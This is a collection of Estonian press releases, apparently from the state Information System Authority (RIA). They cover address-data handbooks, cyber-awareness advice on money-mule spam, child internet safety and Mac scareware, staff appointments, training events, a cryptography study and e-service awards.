"Aadressiandmete käsiraamat" aitab spetsialistidel paremini kasutada Eesti aadressiandmete süsteemi (ADS). ADSi on Maa-amet kogunud kõik riigi aadressiandmed, et teised registrid ja andmekogud saaksid neid kontrollida ja oma alusandmetena kasutada. Selle juures ongi abiks äsjavalminud käsiraamat.

"Aadressiandmete määramise eest kannavad hoolt kohalikud omavalitsused," ütles Kivisalu. "Kuna praeguseks ei vasta ADSis veel kõik aadressid nõuetele, siis loodame, et meie käsiraamatust saavad aadressiandmetega tegelevad ametnikud oma tööks vajalikke nõuandeid." 

Näiteks annab "Aadressiandmete käsiraamat" vastused küsimustele, mis vahe on koha-aadressil ja aadressikohal; kuidas kõige paremini tagada, et aadress aitaks vajaliku koha üles leida; kuidas saab oma aadressi muuta; kuidas määrata aadressid mitmele samal maaüksusel asuvale elamule jne.

Praegu kuulub aadressiandmete süsteemi üle kahe miljoni kande ehk 900 000 hoonet, 520 000 korterit, 610 000 katastriüksust, 15 maakonda, 226 kohalikku omavalitsust (linnad ja vallad), 4640 asustusüksust (külad, alevikud, alevid, vallasisesed linnad), 14 linnaosa, 40 000 kohanimeobjekti (sh 15 000 liikluspinda ehk nt tänavad ja puiesteed) ja 760 väikekohta (endised aiandusühistud, suvilaühistud jt).

Valminud käsiraamat on kättesaadav veebiraamatuna, et peatükke saaks kiirelt ajakohastada. Värskeim versioon alati olemas ka PDF-vormingus ja e-raamatuna (loetav ka e-lugeriga). Käsiraamatu leiab aadressil http://ads.maaamet.ee.

Käsiraamatu koostasid Maa-ameti aadressiandmete osakonna töötajad, kasutades Eesti Keele Instituudi ja Võru Instituudi ning paljude teiste ametkondade, ametite ja ministeeriumide materjale. Käsiraamat avaldati Euroopa Liidu struktuurifondide programmi "Infoühiskonna teadlikkuse tõstmine" raames Maa-ameti ja Riigi Infosüsteemi Ameti tellimusel, projekti koostööpartner oli turundus- ja reklaamiagentuur Must.

Lisainfo:

Mall Kivisalu, Maa-ameti aadressiandmete osakonna juhataja kt, 675 0852, mall.kivisalu@maaamet.ee
Agnes Jürgens, Maa-ameti avalike suhete nõuniku kt, 665 0630, agnes.jurgens@maaamet.ee
Katrin Pärgmäe, RIA kommunikatsiooniosakonna juhataja, 663 0233, 5662 3823, katrin.pargmae@ria.ee
 

Internet on muutnud maailma ja inimkonda. Kuidas muutunud eluga hakkama saada, mida silmas pidada, mida uskuda ja mida karta? ETV2s on pühapäeval, 2. oktoobril teemaõhtu „Uus reaalsus“, mis toob eetrisse mitu dokumentaalfilmi, kus uuritakse virtuaalset maailma. Teemaõhtu stuudioeksperdid on Linnar Viik, Henrik Roonemaa, Kalev Pihl, Marek Siinvert ja Birgy Lorenz.

Film „Täiskasvanuks internetis“ (USA 2008) toob välja, et praegune põlvkond on esimene, kes kasvab üles internetimaailmas. Noored on loonud oma virtuaalse ühiskonna, mis jääb suures osas vanemate ja õpetajate eest varjatuks. Kas interneti mõjud on tõepoolest nii negatiivsed, nagu me ette kujutame, või on hirmul suured silmad?

„Digirahvas“ (USA 2011) vaatleb seisukohta, et ühe inimpõlve jooksul on internet ja digimeedia muutnud kõiki meie elu aspekte alates töötamisest ning õppimisest kuni suhtlemise ja koguni sõjapidamiseni. Kas tehnoloogia areneb kiiremini, kui me jõuame sellega kohaneda? Kas pidevalt internetis viibides kaotame sama palju kui võidame? Filmi autorid Rachel Dretzin ja Douglas Rushkoff uurivad, mida tähendab olla inimene täiesti uues maailmas – digimaailmas.

Filmis „Teine elu“ (USA 2011) öeldakse, et kui te pole oma eluga rahul, on alati võimalus põgeneda, valida endale iseloom ja kuju, kujundada ümber olud või jääda ka iseendaks ning katsetada, sest virtuaalses reaalsuses on kõik võimalik. Karistust pole vaja karta ja alati saab alustada otsast peale. Kuid miks me ihkame teistsugust elu? Kes tahaksime olla ja milline on meie alter ego tagasimõju tegelikule elule? Režissöör Jason Spingarn-Koff uurib seda süvitsi virtuaalse rollimängu „Second Life“ näitel, kuhu logib iga päev sisse sadu tuhandeid inimesi maailma eri paikadest, et elada teist elu.

Teema-kommentaare ja küsimusi saab esitada Facebooki lehel "Targalt internetis" ning Tiigrihüppe haridusportaalis www.koolielu.ee<http://www.koolielu.ee>.

Filmide näitamist toetab Tiigrihüppe Sihtasutus läbi projekti „Targalt internetis“, mis on 75 protsendi ulatuses kaasrahastatud Euroopa Komisjoni programmi „Safer Internet“ poolt, millega Eesti liitus 1. septembril 2010. Projekti missiooniks on laste ja lapsevanemate targem internetikasutus ning ebaseadusliku sisuga materjalide leviku piiramine internetis. Tegevusi viivad lisaks Tiigrihüppe Sihtasutusele ellu Lastekaitse Liit, Politsei-ja Piirivalveamet, MTÜ Eesti Abikeskused ning sotsiaalministeerium. Projekt kestab 20 kuud.

Teemaõhtu „Uus reaalsus“ on ETV2 eetris pühapäeval, 2. septembril algusega kell 19.45.
 

Iga-aastane artiklikogumik riiklikest IKT arengutest ja projektidest on nüüd veebis kättesaadav nii eesti kui inglise keeles. Veebilehel on aastaraamat kättesaadav ka e-raamatuna.

Aastaraamatu väljaandmist rahastas RIA ELi struktuurivahendite programm “Infoühiskonna teadlikkuse tõstmine” Euroopa Regionaalarengu Fondist. Kogumiku väljaandja on Majandus- ja Kommunikatsiooniministeeriumi riigi infosüsteemide osakond.

Viimase nädala jooksul on Eestit tabanud ulatuslik rämpspostilaine. Enamik neist ingliskeelsetest kirjadest sisaldab teemareal viidet tööpakkumisele, nagu „Job Proposal“, „Part-Time Work“ või „Administrative Assistant Vacancy“. Tegelikult meelitavad need kuulutused heauskseid rahapesuga tegelema.

RIA infoturbe ekspert Triin Niguli sõnul paistab tööpakkumise sisu igati soliidsena ning ülesanded jõukohased. „Pakkumisele allakirjutanud inimese meiliaadressis võib sisalduda europe-career.com või mõni muu peibutav sõnaühend. Suure tõenäosusega sellise nimega ettevõtet ei eksisteeri, küll aga võib otsimootori abil leida vaid mõne tähe võrra erineva nimega päris-asutusi. Samas on kurjategijad vahel üles seadnud ehtsana tunduva veebilehe, mille kaudu hiljem toimub sõnumivahetus „tööandja“ ja töötaja vahel. Seega tasub igal juhul olla tähelepanelik,“ lisas Nigul.

Loomulikult ei ole selliste tööpakkumiste taga suurepärase rahvusvahelise mainega edukad ettevõtted, nagu tööpakkumises reklaamitakse, vaid hoopis rahapesijaid (nn money mules) otsivad kurjategijad. Töö sisu on tegelikult oma konto kasutamine rahaülekanneteks või sularaha väljavõtmiseks ning mõne rahaedastusteenuse kaudu edasi saatmiseks. Palgaks pakutavas komisjonitasus poleks midagi kriminaalset, kui käideldavad summad poleks teenitud kuritegelikul teel, nt krediitkaardivargustega.

„Kui eelpool kirjeldatud tööpakkumiste sisu on suhteliselt tavapärane, siis Euroopas on esinenud ka juhtumeid, mil rahapesijad otsivad inimesi heategevuse ettekäändel. Kurjategijate fantaasia on lõputu, seetõttu tasuks mistahes ootamatusse või veidrana tunduvalt saatjalt saabunud võõrkeelsesse tööpakkumisse suhtuda ettevaatusega. Levinumad meiliteenuse pakkujad saavad päris edukalt hakkama rämpsposti filtreerimisega, kuid kahjuks lipsab mõni rämpskiri ikkagi läbi. Ükski tehnoloogiline abivahend rämpsposti tõrjumiseks pole 100% tõhus. Alati tasub usaldada oma vaistu ning kahtlased kirjad avamata otse prügikasti suunata,“ rõhutab infoturbe ekspert.

Kui mõni heauskne kodanik on siiski mõne säärase võlts-tööpakkumise õnge läinud, siis igast oma kontole laekunud kahtlasest ülekandest tuleks kohe teavitada oma kodupanka. Samuti ootab rahapesu andmebüroo (rahapesu@politsei.ee), et neile kahtlastest tehingutest teada antaks.
 

Lisainfo:
Katrin Pärgmäe
Riigi Infosüsteemi Amet
Kommunikatsioonijuht
+3726630233
+37256623823

19. septembrist asub Riigi Infosüsteemi Ametis tööle peadirektori asetäitja küberturbe alal Toomas Vaks. Uus ametikoht loodi selleks, et paremini korraldada küberturbe alast koostööd Eestis ning käivitada järelevalve elutähtsate teenuste turvalisuse üle.

Toomas Vaksi sõnul kasvab ühiskonna sõltuvus infosüsteemidest kiiresti. „Tänapäeval pole paljude riikide, sealhulgas Eesti, normaalne toimimine ilma töötavate infosüsteemideta võimalik. Inimestele e-teenuseid pakkuvate süsteemide turvaline tööshoidmine on tõsine väljakutse - riskid ja ohud muutuvad pidevalt, ajaga peab sammu pidama ka meie süsteemide kaitse. Selles töös on Riigi Infosüsteemi Ametil kanda väga oluline roll,“ ütles Vaks.

RIA peadirektor Jaan Priisalu: “Toomase tööle tulekuga andis RIA väikese panuse projekti „Talendid koju“. Toomas Vaks töötas seni Rootsis ja tema juhtida oli Swedbanki Grupi pangakaartide valdkonna riskikontroll ja -haldus. Enne seda töötas ta aga Hansapanga Grupis vastavuskontrolli juhina ning tegeles kohalike teemadega. Nii, et Toomasel on nii rahvusvahelise koostöö kogemus kui ka kohaliku keskkonna tunnetus. Usun, et tal on kõrge motivatsioon töötada Eesti kriitilise IT-infrastruktuuri püsimise nimel.“

Küberturbe asedirektor koordineerib küberturbe valdkonna tööd ja käivitab järelevalve elutähtsate infosüsteemide loomise ning hoidmise üle. RIAs on kolm küberturbega tegelevat valdkonda:
1. CERT Eesti (Comupter Emergency Response Team) tegeleb Eesti arvutivõrkudes toimuvate intsidentide lahendamisega ja kasutajate turvateadlikkuse tõstmisega;
2. ISKE aitab tagada riigi ja kohalike omavalitsuste andmete ja IT-süsteemide turvalisuse;
3. Kriitilise informatsiooni infrastruktuuri kaitse osakond korraldab ja planeerib elutähtsate teenuste toimimiseks vajalike infosüsteemide kaitset.
Lisaks luuakse RIAsse eraldi järelevalve osakond, selle käivitamine on uue küberturbe asedirektori ülesanne.

„Küberturvalisuse arendamine ja hästi toimiva järelevalvesüsteemi loomine on keeruline, kuid väga huvitav ülesanne. Loodan, et minu varasemad kogemused turvalisuse ja riskijuhtimise valdkonnas ning rahvusvaheliste tiimide juhtimisel on meile seatud ülesannete täitmiseks kasulikud,“ lisas Vaks.

Riigi Infosüsteemide Arenduskeskus muutus selle aasta 1. juunist Riigi Infosüsteemi Ametiks, et teha järelevalvet riigi infosüsteemide loomise ja turvalisuse üle. RIA ülesanne on koordineerida riigi infosüsteemi arendamist ja haldamist nii, et riik saaks IT võimalusi kasutades rahvast teenindada parimal võimalikul moel.

RIA korraldatud seminaril „IKT õigus täna ja homme – kust king pigistab?“ leidsid õigusvaldkonna ja infotehnoloogia spetsialistid, et IKT õigusaktid ei reguleeri veel kogu valdkonda nii, et asutused sellest ühtemoodi aru saaksid.

Riigi infosüsteemi haldussüsteemi osakonna juhataja Aili Ilves: „Tihti on eri institutsioonide või asutuste tõlgendused õigusaktidest erinevad või vastuolulised. Riigi Infosüsteemi Ameti ning Majandus- ja Kommunikatsiooniministeeriumi eestvedamisel moodustame töögrupid, mis hakkavad analüüsima praktilisi probleeme ning aitavad igapäevatöös esilekerkivatele küsimustele kiireid lahendusi leida. Ootame töögruppidesse nii õigusala kui IT-spetsialiste, kes soovivad panustada, et IKT ja õigus käiksid ühte jalga.“

„Riigi, sealhulgas IKT toimimise vundament on õigusnorm, mis on oma olemuselt aeglaselt muutuv. Samas oodatakse infotehnoloogialt innovatiivseid, kiireid lahendusi. See vastuolu muudab õigusküsimused IKT vallas ääretult keeruliseks. Kõik osapooled peavad teadma algusest peale, millised on nõuded, mida peab tegema, millest hoiduma ja millised on tagajärjed? Oluline on õigust mõistlikult rakendada, et võita aega ja jõuda võimalikult heade IT-lahendusteni.“

Seminari eesmärk oli tuua ühe laua taha avaliku sektori IKT ja õiguse valdkonna inimesed, et arutleda infosüsteemide korraldusliku ja õigusliku seisu üle ning vahetada ideid edasiste arengute osas. Ettekannetes räägiti infotehnoloogia valdkonda reguleerivatest normidest, valdkonna poliitika kujundamisest, õiguse loomisest ja õiguskantsleri menetletud kaasustest.

Tegemist oli avakohtumisega, mille eesmärk on koondada valdkonnaga tegelevad praktikud „ühise mütsi alla“. Töörühm töötab selle nimel, et saada kiireid lahendusi igapäevatöös tekkivatele küsimustele, et arendatavad infosüsteemid oleksid koosvõimelised ning nendega seonduvad inimesed oleksid kursis erinevates valitsemisalades toimuvaga.

Töörühmas panustamiseks palume endast teada anda aadressil riha@ria.ee.

Seminar toimus Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames, mida rahastab Euroopa Regionaalarengu Fond.

Kui vanasti pidi lapsevanem enne lapse kooli saatmist kontrollima, kas krihvel, tahvel ja hanesuled on olemas, siis nüüd ei saa läbi tarkade elektrooniliste seadmeteta. Igal aastal toob septembrikuu kaasa arvutiviirustesse nakatumise laine, kuna lapsed ja lapsevanemad on taas arvutite taga ja suvega on ohutus meelest läinud.

CERT Eesti infoturbe ekspert Triin Nigul: „Just enne kooliaasta algust on paras hetk järgmise põlvkonnaga arvutikasutuse reeglid kokku leppida ja mobiilikasutuse limiidid paika panna. Lapse ja vanema suhte vundamendi moodustab usaldus, selle eeldus on aga igapäevane vahetu suhtlus. Seetõttu on mõistlik, et laps kasutab arvutit elutoas.“

Õppeedukust võib liigne virtuaalelu teadagi segama hakata, seega ei saa kuidagi ilma arvutikasutuse ajaliste piirideta. Ka silmaarstid soovitavad, et kolmveerandtunnile arvuti taga peaks järgnema viisteist minutit puhkust. Kui kokkulepped ei toimi, võib abi otsida tarkvarast, mis arvuti õigel ajal kasutuskõlbmatuks muudab, kuid see ei takista nutikatel teismelistel sobivat alternatiivi leidmast. Arvuti sõbra juures või internetikohvikus on paraku vanema vaateulatusest sootuks väljas.

Kui aeg ja ruum paigas, tuleb lapsega vestelda kõige olulisemast – arvutikasutuse sisulisest poolest. Koolipsühholoogid tunnistavad, et kiusamine on tänavatelt internetti kolimas, lastekaitsjad omakorda hoiatavad küber-kommionude eest. Lapsel peab olema selge, et oma nime ja kodust aadressi igaühele ei jagata ning võõrastega kohtuma ei minda. Turvalise lapse ja vanema suhte korral räägib laps igast kahtlustäratavast pöördumisest. Selleks on vaja, et laps oskaks iseseisvalt veebisuhtlust hinnata ja ebaharilikku märgata.

Üha enam jõuavad laste taskutesse nutitelefonid, mille tehnilised võimalused interneti kasutamiseks on samasugused kui juhtme ja kuvariga arvutikastil. Sageli tuleb nutitelefonides interneti kasutamise eest maksta aga mahupõhist hinda. Seega tuleks hoolega üle vaadata lapse telefoni seaded, et see omapäi kallist teenust tarbima ei hakkaks.

Viirusetõrje ja tulemüüri olemasolu arvutis on praegusel ajal juba nii elementaarne, et seda tihti ei mainitagi. Lapse arvutisse on kaitsetarkvara väga vaja, sest sarnaselt kirevate kommidega poeriiulis meeldivad lastele kutsuvalt vilkuvad värvilised reklaamid arvutis. Iga ettevaatamatu klikk saab kahjuks kaasa tuua mitu teada (ja veel täiesti tundmatutki) viirust, mis salajast infot varastavad ja arvuti näiteks spämmirobotiks muudavad. Pahavarast lahtisaamine võib hiljem parasjagu keeruliseks osutuda või nõuda lausa arvutispetsialisti kulukat abi.

Last arvutist eemal hoida pole tänapäeval võimalik ega mõistlikki. Lapsevanematel on arvutialases kasvatustöös äärmiselt oluline roll – tutvustada noortele harivat ja silmaringi avardavat teavet, rääkides samal ajal ka interneti varjukülgedest.

Turvalist uut kooliaastat soovides
CERT Eesti

CERT Eesti (Computer Emeregency Response Team) on RIA osakond, mis tegeleb Eesti arvutivõrkudes toimuvate turvaintsidentide käsitlemisega ja kasutajate turvateadlikkuse tõstmisega.

Hea ettevõtja! Kutsume Sind reedel, 16. septembril Rahvusraamatukokku "Vaba tarkvara päevale", mis keskendub efektiivse e-kontori tutvustamisele vaba tarkvara ja tasuta teenuste toel.

Räägime kasutajate kogemuse kaudu, milliseid infotehnoloogilisi vabavaralisi ja ka tasuta lahendusi leiab täna Eestis kommertstarkavara kõrval. Lisaks saab kuulda, kuidas muuta tööprotsessid ettevõttes erinevate mudelite abil (kulu)efektiivsemaks, millises rollis on täna riik ja Eesti Vaba Tarkvara Liit ning kes pakuvad vabavaralisele tarkvarale jätkusuutlikku tuge.

Infopäev on tasuta, osalemiseks palume registreerida hiljemalt 12. septembril.
Päevakava (.pdf)
Kõik "Tark e-riik" koolitused.

Infopäeva korraldab Riigi Infosüsteemi Amet koostöös Majandus- ja Kommunikatsiooniministeeriumi riigi infosüsteemide osakonna, Eesti Vaba Tarkvara Liidu ja BCS Koolitus AS-ga. Infopäev toimub koolituste sarjas "Tark e-riik" Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames, mida rahastab Euroopa Regionaalarengu Fond.

26. augustil toimus Tallinnas infopäev, kus tutvustati monitooringusüsteemi Virtuaalne situatsiooniruum. Süsteem koondab andmed elutähtsate teenuste toimimise kohta ja aitab asutustel teha otsuseid nii igapäevaselt kui kriisiolukordades.

RIA infoturbeintsidentide käsitlemise osakonna juhataja Hillar Aarelaid: „Virtuaalne situatsiooniruum (VSR) võimaldab otsustajatel vajalikud andmed saada oma arvutisse kiiresti ja arusaadaval kujul ning hinnata eri teenuste omavahelist mõju. Näiteks, kui VSR sisaldab Eesti Energia rikete infot ning Sotsiaalministeeriumi andmeid haiglate kohta, siis ulatusliku elektrikatkestuse korral saab ministeerium süsteemist kiiresti teada, millistel haiglatel puudub elekter.“

VSR on vabavaraline avatud monitooringusüsteem, mis ühendab elutähtsate teenuste osutajate andmed. Süsteemi saavad kasutada kõik asutused, kes on otsustanud endale luua monitooringusüsteemi või soovivad olemasolevat süsteemi teistega ühendada.

Tööde esimeses etapis valmis tehniline võimalus andmete ühendamiseks ning nüüd asuvad esimesed asutused süsteemi katsetama. Süsteemi edasised arendustööd on kavas lõpetada järgmise nelja aastaga.

VSRi tehnilise lahenduse töötasid välja kaks firmat: Cybernetica AS Eestist ja Clarified Networks Soomest. Süsteemi välja töötamist rahastas Euroopa Regionaalarengu Fond. Ka infopäev toimus EL struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames, mida rahastab Euroopa Regionaalarengu Fond.

Sellel nädalal algas taas riigi- ja erasektori spetsialistidele mõeldud koolitustesari "Tark e-riik". Lähemat infot koolituste ja osalemise kohta saab RIA kodulehelt "Tark e-riik" koolituste rubriigist.

"Sel aastal on kavasse lisandunud palju uusi koolitusi, näiteks infoturbe ja IT-taristu kaitse teemadel,“ rääkis programmijuht Agne Kivisaar. "Turvaintsidentide ärahoidmiseks ja turvariskide vähendamiseks korraldatavad koolitused ja teabepäevad aitavad ühelt poolt tõsta infoturbe alast teadlikkust, et ühiskonnas toimiks tavapärane elukorraldus ja teiseks tutvustavad tasuta tehnoloogiad, mida riik pakub", lisas Kivisaar.

Koolituste korraldajad rõhutavad, et tehnoloogia kasutamine ei ole eesmärk omaette, IT on vahend inimeste elu lihtsamaks muutmiseks. Sellepärast on paljudele koolitustele oodatud ka spetsialistid, kelle igapäevatöö ei hõlma infotehnoloogiat ja kelle ametinimetuses ei ole tähepaari „IT“.

Üritused toimuvad Euroopa Liidu struktuurifondide programmi „Infoühiskonna teadlikkuse tõstmine“ raames, mida rahastab Euroopa Regionaalarengu Fond. Kõik koolitused on osalejatele tasuta ja neid aitab läbi viia AS BCS Koolitus.

Jaan Priisalu sõnul nõuab riigi infosüsteemide edukas areng tõhusat teabevahetust. „Järelevalve infosüsteemide üle on üks ühistöö ja kommunikatsiooni vorm, mida me RIAs arendama hakkame. Loodan, et sunni kohaldamine jääb erakordselt harvaks ja me jätkame kõikide oma partneritega konstruktiivset koostööd“.

Priisalu on lõpetanud Tallinna I Keskkooli, ta on Tallinna Tehnikaülikooli magister ning Prantsusmaa ülikooli Universite de Paul Sabatier/Tolouse III teadusmagister. Viimati töötas ta Swedbankis, kus ta oli turvaintsidentide lahendamise meeskonna juht. Priisalu on Kaitseliidu küberkaitse üksuse ja infosüsteemide audiitorite ühingu liige, sertifitseeritud infosüsteemide audiitor (CISA).

Riigi Infosüsteemide Arenduskeskus muutus alates tänavu 1. juunist Riigi Infosüsteemi Ametiks. Amet pakub abi era- ja riigisektori infosüsteemide omanikele turvalisuse tagamisel ning sai õiguse teha järelevalvet.

RIA ülesanne on koordineerida riigi infosüsteemi arendamist ja haldamist nii, et riik saaks IT võimalusi kasutades rahvast teenindada parimal võimalikul moel.

Valminud on uuring, mis koondab teaduskirjanduses ja erinevates rahvusvahelistes uuringutes esitatud soovitused krüptograafiliste süsteemide ja algoritmide kasutamiseks riigi infosüsteemides. Uuringu tulemused on suunatud tarkvaraarhitektidele, IT-audiitoritele jt tehnilistele spetsialistidele, kes osalevad uute infosüsteemide loomisel ja infoturbe korraldamisel. Uuingu aruandes esitatakse soovitused krüptograafiliste meetodite kasutamiseks infosüsteemide turbe tagamisel.

Uuring hõlmab sümmeetrilise ja asümmeetrilise krüpteerimise algoritme ning räsifunktsioonide algoritme ning toob välja soovitused erinevate algoritmide kasutusvaldkondade, kasutusaja, parameetrite, samuti on uuringus välja toodud algoritmide kasutuspiirangud. Uuring sisaldab ka algoritmide vahetusest tulenevate mõjude analüüsi veebiserveritele, avaliku võtme infrastruktuurile ning olulisimatele infosüsteemidele. Uuringus soovitatakse kasutada tõestatavalt turvalisi protokolle.

Uuringu tellis RIA koostöös Majandus- ja Kommunikatsiooniministeeriumiga ning selle viis läbi AS Cybernetica. Uuringut rahastas Euroopa Liidu struktuurifondide programm "Infoühiskonna teadlikkuse tõstmine" Euroopa Regionaalarengu Fondist.

Tutvu uuringu aruandega (.pdf; 477 kB)

Täna avaldab Apple uuenduse operatsioonisüsteemi perekonnale OS X koodnimetusega “Lion”. Uus versioon pakub kasutajatele üle 250 uuenduse, negatiivsest küljest peavad Maci kasutajad arvestama pahavara jõudmisega Apple maailma.

CERT Eesti infoturbe ekspert Tarmo Randeli sõnul oli pahavara loojate senine sihtmärk Windows selle suure leviku tõttu. “Viimased infokillud vihjavad, et Apple'i edu ei ole ka pahalastel märkamata jäänud. Kui varem nägime pigem koolipoiste katsetusi Macile viiruste kirjutamisel, siis nüüd on näha, et Mac'ide kasutajatele suunatud pahavara on kirjutatud palju professionaalsemalt.”

Mac'i pahavara puhul on hetkel valdav suund arvutikasutaja petmisel pahavara vabatahtlikule paigaldamisele. Hea näide on viimasel ründel kasutatud pahavara, tuntud nimede MacSecurity ja MacDefender all, mille levitamisel kasutati seni Windowsi kasutajaid edukalt õngevõtnud metoodikat: kasutaja suunati veebilehele, millel näidatud animatsioon lõi mulje, et arvuti on nakatunud viirusega. Kui kasutaja jäi nähtut uskuma, siis laadis ta alla ning paigaldas vabatahtlikult programmi, mis teda netipahaduse eest kaitseks. Paigaldatud rakendus oli loomulikult pahavara, mis suunas kasutaja suvalistel hetkedel pornolehtedele ja jätkas piinlikke hetkede tekitamist niikaua, kuni inimene oli tasunud nn registreerimistasu.

“Antud näide ei ole paraku ainukene juhtum, sestap on Maci kasutajatel vaja hakata leppima teadmisega, et nad ei ole enam “turvalisel saarekesel”, vaid jõudnud pahavaraga elatist teenivate kurjategijate sihtmärkide nimistusse”, nentis Randel.

Kasutaja teadlikkus on seda tähtsam, et Apple ei ole siiani turvaprobleemidesse väga tõsiselt suhtunud. Seda oli selgelt näha näites toodud pahavara tõrjeks loodud tarkvarapaikade ilmutamise kiirusest ning suhtlusest oma toodete kasutajatega.

Soovitused kasutajale:

• kasuta tarkvara hankides Apple'i AppStore või muid usaldusväärseid allikaid;
• hakka mõtlema turvatarkvara hankimisele, viirusepeletajad on Macile olemas;
• tavapärane kaine mõistus päästab päeva: ära kliki kõike, mida saadetakse ning ära usu kõike, mida veebis väidetakse.

Uues Lionis on ka tehnilisi uuendusi, mis lisavad arvutikasutajale täiendavat kaitset. OS X veebilehitseja Safari baseerub nüüd Webkit2 raamistikul, mis hoiab veebist tulnud pahatahtliku koodi veebilehitsejas ning ei lase sellel operatsioonisüsteemile ligi pääseda. Täiendati ka ASLR kaitset, mis on tänapäevaste operatsioonisüsteemide turvavarustuses kohustuslik, kuid oli senistes OS X versioonides üsnagi algeline.

CERT Eesti (Computer Emeregency Response Team) on Riigi Infosüsteemi Ameti osakond, mis tegeleb Eesti arvutivõrkudes toimuvate turvaintsidentide käsitlemisega ja kasutajate turvateadlikkuse tõstmisega.

RIA kodulehel on nüüd üleval uus ISKE auditi juhend 1.2 Uue ja täpsustatud juhendi eesmärk on ühtlustada auditite kvaliteeti, kirjutades täpsemalt välja auditeeritava ja audiitori ülesanded.

Juhendi saab alla laadida siit (.pdf).
ISKE auditist saab täpsemalt lugeda siit: http://www.ria.ee/audit

ISKE eesmärk on tagada infosüsteemides töödeldavatele andmetele piisava tasemega turvalisus. Süsteem on loodud eelkõige riigi ja kohaliku omavalitsuse infosüsteemidele ning nendega seotud infovaradele turvalisuse tagamiseks. ISKE on kohustuslik riigi ja kohaliku omavalitsuse andmekogude pidamisel.

Riigikantselei kõrgemate ametnike atesteerimiskomisjon valis Riigi Infosüsteemi Ameti (RIA) uueks juhiks Jaan Priisalu, kes alustab tööd 1. augustil.

Priisalu on lõpetanud Tallinna I Keskkooli, ta on Tallinna Tehnikaülikooli magister ning Prantsusmaa ülikooli Universite de Paul Sabatier/Tolouse III teadusmagister. Ta on sertifitseeritud infosüsteemide audiitor (CISA).

Viimati töötas Priisalu Swedbankis, kus ta oli turvaintsidentide lahendamise meeskonna juht. Muuhulgas on ta varem töötanud firmades Guardtime, Ühispank (SEB), Cybernetica.

Priisalu on Kaitseliidu küberkaitse üksuse ja infosüsteemide audiitorite ühingu liige.

Riigi Infosüsteemide Arenduskeskus muutus alates tänavu 1. juunist Riigi Infosüsteemi Ametiks. Amet pakub abi era- ja riigisektori infosüsteemide omanikele turvalisuse tagamisel ning sai õiguse teha järelevalvet.

RIA ülesanne on koordineerida riigi infosüsteemi arendamist ja haldamist nii, et riik saaks IT võimalusi kasutades rahvast teenindada parimal võimalikul moel.

Riigi Infosüsteemi Ameti kutsub testima ISKE rakendusjuhendi uut versiooni ja moodulite katalooge. Tegu on partneritele suunatud beta versiooniga, kus võib ilmneda tõlkekvaliteedi apsakaid. Palume tagasisidet augustikuu jooksul nii vigade kui arusaamatuste osas aadressile iske@ria.ee

Uut ISKE rakendusjuhendi versiooni 6.0 on täiustatud uute H taseme meetmetega, lisandusid moodulid "andmete kustutamine ja hävitamine", "nõuetehaldus", "klient Windows Vista all" ja " Samba server".

ISKE eesmärk on tagada infosüsteemides töödeldavatele andmetele piisava tasemega turvalisus. Süsteem on loodud eelkõige riigi ja kohaliku omavalitsuse infosüsteemidele ning nendega seotud infovaradele turvalisuse tagamiseks. ISKE on kohustuslik riigi ja kohaliku omavalitsuse andmekogude pidamisel.

Eesti e-aruandluskeskkond võitis tänavu maailma parimate e-lahenduste konkursil World Summit Award (WSA) 2011 esikoha, finaali jõudsid sel hinnatud võistlusel veel kaks Eesti e-teenust.

Eesti e-aruandluskeskkond võitis WSA konkursil maailma parima e-lahenduse tiitli e-valitsuse kategoorias. E-kultuuri ja pärandi vallas jõudis kuue parima hulka Eesti ajaloo infopank Histrodamus ning e-äri valdkonnas pääses 15 finaalprojekti sekka Eestis väljatöötatud sotsiaalse panganduse platvorm isePankur.ee.

WSA Eesti esindaja Katri Ristali sõnul pälvis e-aruandluskeskkond rahvusvahelise žürii toetuse eeskätt tänu sellele, et see lahendus on kõigest mõne aastaga muutnud kõigi Eesti ettevõtete aruandluse elektroonseks. “Sel e-teenusel on European Digital Agenda 2020 valguses ja toimiva Euroopa Liidu ühisturu tagamises oluline roll,” rääkis Ristal. “Eestis loodud e-riigi lahendused on kogu maailmas eeskujuks oma lihtsuse ja läbipaistvusega.”

WSA Eesti esindaja ütles, et Histrodamus pälvis ekspertide tähelepanu paljuski visuaalselt selge vormi pärast. “See lahendus võimaldab kombineerida omavahel aega ja ruumi ning ühendada ja võrrelda erinevaid ajastuid, sündmusi ja maakaarte, mõista sündmuste põhjusi ning omavahelisi seoseid,” lausus ta. “Eestimaa keerulise ajaloo tutvustamisel on Histrodamus teinud hiiglasliku sammu, muutes kuiva ajalooõppimise interaktiivseks ja visuaalselt atraktiivseks.

Katri Ristali hinnangul olid head edulootused ka isePankuril, mis sisuliselt žürii lõhki ajas. “Osad rahvusvahelised asjatundjad nägid inimeste- ja firmadevahelisi laene vahendavas keskkonnas maailma päästjat ning ettevõtluskeskkonna olulist motivaatorit,” vahendas Ristal žüriis toimunut. “Teised jällegi olid üliskeptilised selle ärimudeli jätkusuutlikkuse osas.”

WSA esindaja ülevaatlik ettekanne Eesti e-riigist leidis kuulajaskonna hulgas endiselt hämmastunud vastukaja. “Kokkuvõtvalt võib öelda, et e-Eesti täht põleb rahvusvahelisel areenil eredalt,” kommenteeris Katri Ristal. “Paljud lahendused nagu e-maksuamet ning e-valimised tunduvad meile juba iseenesestmõistetavad, kuid suurem osa maailmast on meie IKT-tasemest veel väga kaugel.”

Konkursile World Summit Award (WSA) 2011 e-Eesti au kaitsma saadetud e-lahendused selgitati välja Eesti parima e-teenuse konkursi käigus tänavu veebruaris. Ühtekokku osales Eesti eelvoorus 71 uut kodumaist e-lahendust, mis oli kõigi aegade rekord. Eesti on konkursil osalenud 2003. aastast ning vägagi edukalt: 2003. aastal kuulutati üheks e-tervise kategooria võitjaks patsientide koduse jälgimise süsteem Doc@Home. 2007. aastal jõudis finaali sõidukite jälgimissüsteem Navirec (www.navirec.ee).

Konkurss “Eesti parim e-teenus 2011” korraldati Euroopa Liidu struktuurifondide programmi "Infoühiskonna teadlikkuse tõstmine" raames ning Euroopa Regionaalarengu Fondi rahastusel Majandus- ja Kommunikatsiooniministeeriumi, RIA ja WSA Eesti esindaja koostöös.

Sarnased konkursid on toimunud ka 2005, 2007. ja 2009. aastal, kuid toona nime Parim Sisuteenus all. Järgmine maailma parimate e-lahenduste konkurss World Summit Award toimub 2013. aastal. 2012 toimub parimate m-teenuste konkurss, selle eelvoor kuulutatakse välja juba tänavu hilissügisel.

